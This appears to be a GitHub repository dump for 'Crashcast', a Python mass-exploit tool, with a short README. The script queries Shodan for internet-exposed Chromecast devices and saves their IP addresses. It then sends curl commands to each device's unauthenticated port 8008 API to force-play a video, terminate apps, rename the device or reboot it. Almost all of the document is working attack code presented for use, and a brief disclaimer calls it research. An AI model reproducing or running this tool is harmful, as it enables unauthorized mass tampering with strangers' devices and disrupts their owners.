├── .gitattributes ├── 1.png ├── 2.png ├── 3.png ├── 4.png ├── Crashcast.py └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/649/Crashcast-Exploit/8748e40654bb3a6ff4724036fa69e3545b5f3750/1.png -------------------------------------------------------------------------------- /2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/649/Crashcast-Exploit/8748e40654bb3a6ff4724036fa69e3545b5f3750/2.png -------------------------------------------------------------------------------- /3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/649/Crashcast-Exploit/8748e40654bb3a6ff4724036fa69e3545b5f3750/3.png -------------------------------------------------------------------------------- /4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/649/Crashcast-Exploit/8748e40654bb3a6ff4724036fa69e3545b5f3750/4.png -------------------------------------------------------------------------------- /Crashcast.py: -------------------------------------------------------------------------------- 1 | #-- coding: utf8 -- 2 | #!/usr/bin/env python3 3 | import sys, os, time, shodan 4 | from pathlib import Path 5 | from contextlib import contextmanager, redirect_stdout 6 | 7 | starttime = time.time() 8 | 9 | @contextmanager 10 | def suppress_stdout(): 11 | with open(os.devnull, "w") as devnull: 12 | with redirect_stdout(devnull): 13 | yield 14 | 15 | class color: 16 | HEADER = '\033[0m' 17 | 18 | keys = Path("./api.txt") 19 | logo = color.HEADER + ''' 20 | ██████╗██████╗ █████╗ ███████╗██╗ ██╗ ██████╗ █████╗ ███████╗████████╗ 21 | ██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗██╔════╝╚══██╔══╝ 22 | ██║ ██████╔╝███████║███████╗███████║██║ ███████║███████╗ ██║ 23 | ██║ ██╔══██╗██╔══██║╚════██║██╔══██║██║ ██╔══██║╚════██║ ██║ 24 | ╚██████╗██║ ██║██║ ██║███████║██║ ██║╚██████╗██║ ██║███████║ ██║ 25 | ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝ 26 | 27 | Author: @037 28 | Version: 2.0 29 | 30 | ####################################### DISCLAIMER ######################################## 31 | | ChrashCast is a tool that allows you to use Shodan.io to obtain thousands of vulnerable | 32 | | Chromecast devices. It then allows you to use the same devices to mass-play any video | 33 | | you like, reboot device, set new device name, and terminate apps. It uses a simple cURL | 34 | | command to execute the specified command on all the vulnerable Chromecast devices. This | 35 | | exploit only works because people decided it would be a good idea to leave their device | 36 | | exposed to the entire internet. Think again. | 37 | ######################################### WARNING ######################################### 38 | | I am NOT responsible for any damages caused or any crimes committed by using this tool. | 39 | | Use this tool at your own risk, it is meant to ONLY be a proof-of-concept for research. | 40 | ########################################################################################### 41 | 42 | ''' 43 | print(logo) 44 | 45 | if keys.is_file(): 46 | with open('api.txt', 'r') as file: 47 | SHODAN_API_KEY=file.readline().rstrip('\n') 48 | else: 49 | file = open('api.txt', 'w') 50 | SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ') 51 | file.write(SHODAN_API_KEY) 52 | print('[~] File written: ./api.txt') 53 | file.close() 54 | 55 | while True: 56 | api = shodan.Shodan(SHODAN_API_KEY) 57 | print('') 58 | try: 59 | myresults = Path("./chromecast.txt") 60 | query = input("[*] Use Shodan API to search for affected Chromecast devices? : ").lower() 61 | if query.startswith('y'): 62 | print('') 63 | print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY) 64 | results = api.search('product:chromecast') 65 | print('[✓] API Key Authentication: SUCCESS') 66 | print('[~] Number of Chromecast devices: %s' % results['total']) 67 | print('') 68 | saveresult = input("[*] Save results for later usage? : ").lower() 69 | if saveresult.startswith('y'): 70 | file2 = open('chromecast.txt', 'a') 71 | for result in results['matches']: 72 | file2.write(result['ip_str'] + "\n") 73 | print('[~] File written: ./chromecast.txt') 74 | print('') 75 | file2.close() 76 | saveme = input('[*] Would you like to use locally stored Shodan data? : ').lower() 77 | if myresults.is_file(): 78 | if saveme.startswith('y'): 79 | with open('chromecast.txt') as my_file: 80 | ip_array = [line.rstrip() for line in my_file] 81 | else: 82 | print('') 83 | print('[✘] Error: No Chromecast devices stored locally, chromecast.txt file not found!') 84 | print('') 85 | if saveme.startswith('y') or query.startswith('y'): 86 | print('####################################### CHOICES ########################################') 87 | print('| 1. Mass-play YouTube video: Unreliable, may not work. Only requires YT video ID. |') 88 | print('| 2. Close YouTube app: Will terminate YouTube process. |') 89 | print('| 3. Rename Chromecast Device: Will reassign new defined SSID name for device. |') 90 | print('| 4. Kill Chromecast Process: Will stop Chromecast home screen. |') 91 | print('| 5. Reboot Chromecast: Will simply cause Chromecast to reboot. |') 92 | print('########################################################################################') 93 | option = int(input("[*] Select option (1-5): ")) 94 | print('') 95 | if not (1 <= option <= 5): 96 | raise ValueError() 97 | if (option == 1): 98 | video = input("[▸] Enter YouTube video ID to mass-play (the string after v=): ") or "oHg5SJYRHA0" 99 | elif (option == 3): 100 | name = input("[▸] Enter new Chromecast device name to broadcast: ") or "Chromecast_exposed_to_entire_Internet" 101 | print('') 102 | if query.startswith('y'): 103 | iplist = input('[*] Would you like to display all the Chromecast devices from Shodan? : ').lower() 104 | if iplist.startswith('y'): 105 | print('') 106 | counter= int(0) 107 | for result in results['matches']: 108 | host = api.host('%s' % result['ip_str']) 109 | counter=counter+1 110 | print('[+] Chromecast device (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a'))) 111 | time.sleep(1.1 - ((time.time() - starttime) % 1.1)) 112 | if saveme.startswith('y'): 113 | iplistlocal = input('[*] Would you like to display all the Chromecast devices stored locally? : ').lower() 114 | if iplistlocal.startswith('y'): 115 | print('') 116 | counter= int(0) 117 | for x in ip_array: 118 | host = api.host('%s' % x) 119 | counter=counter+1 120 | print('[+] Chromecast device (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a'))) 121 | time.sleep(1.1 - ((time.time() - starttime) % 1.1)) 122 | print('') 123 | if (option == 1): 124 | engage = input('[*] Ready to mass-play YouTube video (%s)? : ' % video).lower() 125 | elif (option == 2): 126 | engage = input('[*] Ready to terminate the YouTube app from Chromecast device(s)? ').lower() 127 | elif (option == 3): 128 | engage = input('[*] Ready to rename Chromecast device(s) name to: %s? : ' % name).lower() 129 | elif (option == 4): 130 | engage = input('[*] Ready to terminate Chromecast process from device(s)? : ').lower() 131 | elif (option == 5): 132 | engage = input('[*] Ready to reboot Chromecast device(s)? : ').lower() 133 | if engage.startswith('y'): 134 | if saveme.startswith('y'): 135 | for i in ip_array: 136 | if (option == 1): 137 | print('[+] Sending play video command to Chromecast (%s)' % (i)) 138 | with suppress_stdout(): 139 | os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=%s"' % (i, video)) 140 | elif (option == 2): 141 | print('[+] Sending terminate YouTube command to Chromecast (%s)' % (i)) 142 | with suppress_stdout(): 143 | os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (i)) 144 | elif (option == 3): 145 | print('[+] Sending rename device command to Chromecast (%s)' % (i)) 146 | with suppress_stdout(): 147 | os.popen('curl -Lv -H "Content-Type: application/json" --data-raw \'{"name":"%s"}\' http://%s:8008/setup/set_eureka_info' % (name, i)) 148 | elif (option == 4): 149 | print('[+] Sending terminate Chromecast command to Chromecast (%s)' % (i)) 150 | with suppress_stdout(): 151 | os.popen('curl -X DELETE http://%s:8008/ChromeCast' % (i)) 152 | elif (option == 5): 153 | print('[+] Sending reboot device command to Chromecast (%s)' % (i)) 154 | with suppress_stdout(): 155 | os.popen('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d \'{"params":"now"}\' -X POST' % (i)) 156 | else: 157 | for result in results['matches']: 158 | if (option == 1): 159 | print('[+] Sending play video command to Chromecast (%s)' % (result['ip_str'])) 160 | with suppress_stdout(): 161 | os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=%s"' % (result['ip_str'], video)) 162 | elif (option == 2): 163 | print('[+] Sending terminate YouTube command to Chromecast (%s)' % (result['ip_str'])) 164 | with suppress_stdout(): 165 | os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (result['ip_str'])) 166 | elif (option == 3): 167 | print('[+] Sending rename device command to Chromecast (%s)' % (result['ip_str'])) 168 | with suppress_stdout(): 169 | os.popen('curl -Lv -H "Content-Type: application/json" --data-raw \'{"name":"%s"}\' http://%s:8008/setup/set_eureka_info' % (name, result['ip_str'])) 170 | elif (option == 4): 171 | print('[+] Sending terminate Chromecast command to Chromecast (%s)' % (result['ip_str'])) 172 | with suppress_stdout(): 173 | os.popen('curl -X DELETE http://%s:8008/ChromeCast' % (result['ip_str'])) 174 | elif (option == 5): 175 | print('[+] Sending reboot device command to Chromecast (%s)' % (result['ip_str'])) 176 | with suppress_stdout(): 177 | os.popen('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d \'{"params":"now"}\' -X POST' % (result['ip_str'])) 178 | print('') 179 | print('[•] Task complete! Exiting Platform. Have a wonderful day.') 180 | break 181 | else: 182 | print('') 183 | print('[✘] Error: video (%s) not mass-played!' % video) 184 | print('[~] Restarting Platform! Please wait.') 185 | print('') 186 | else: 187 | print('') 188 | print('[✘] Error: No Chromecast devices stored locally or remotely from Shodan!') 189 | print('[~] Restarting Platform! Please wait.') 190 | print('') 191 | 192 | except shodan.APIError as e: 193 | print('[✘] Error: %s' % e) 194 | option = input('[*] Would you like to change API Key? : ').lower() 195 | if option.startswith('y'): 196 | file = open('api.txt', 'w') 197 | SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ') 198 | file.write(SHODAN_API_KEY) 199 | print('[~] File written: ./api.txt') 200 | file.close() 201 | print('[~] Restarting Platform! Please wait.') 202 | print('') 203 | else: 204 | print('') 205 | print('[•] Exiting Platform. Have a wonderful day.') 206 | break 207 | except ValueError: 208 | print("[*] WARNING: Invalid Option %d! (1-5)" % option) 209 | print("") -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CRASHCAST MASS-EXPLOIT TOOL 2 | 3 | * Author: [@037](https://twitter.com/037) 4 | 5 | This tool allows you to mass play any YouTube video, remotely terminate apps, and rename Chromecast device(s) obtained from Shodan.io 6 | 7 | ### Prerequisites 8 | 9 | The only thing you need installed is Python 3.x 10 | 11 | ``` 12 | sudo apt-get install python3 13 | ``` 14 | 15 | You also require to have cURL installed 16 | ``` 17 | sudo apt-get install curl 18 | ``` 19 | 20 | You also require Shodan python module 21 | 22 | ``` 23 | pip install shodan 24 | ``` 25 | 26 | ### Using Shodan API 27 | 28 | This tool requires you to own an upgraded Shodan API 29 | 30 | You may obtain one for free in [Shodan](https://shodan.io/) if you sign up using a .edu email 31 | 32 | ![alt text](https://raw.githubusercontent.com/649/Crashcast-Exploit/master/2.png) 33 | ![alt text](https://raw.githubusercontent.com/649/Crashcast-Exploit/master/1.png) 34 | ![alt text](https://raw.githubusercontent.com/649/Crashcast-Exploit/master/3.png) 35 | ![alt text](https://raw.githubusercontent.com/649/Crashcast-Exploit/master/4.png) --------------------------------------------------------------------------------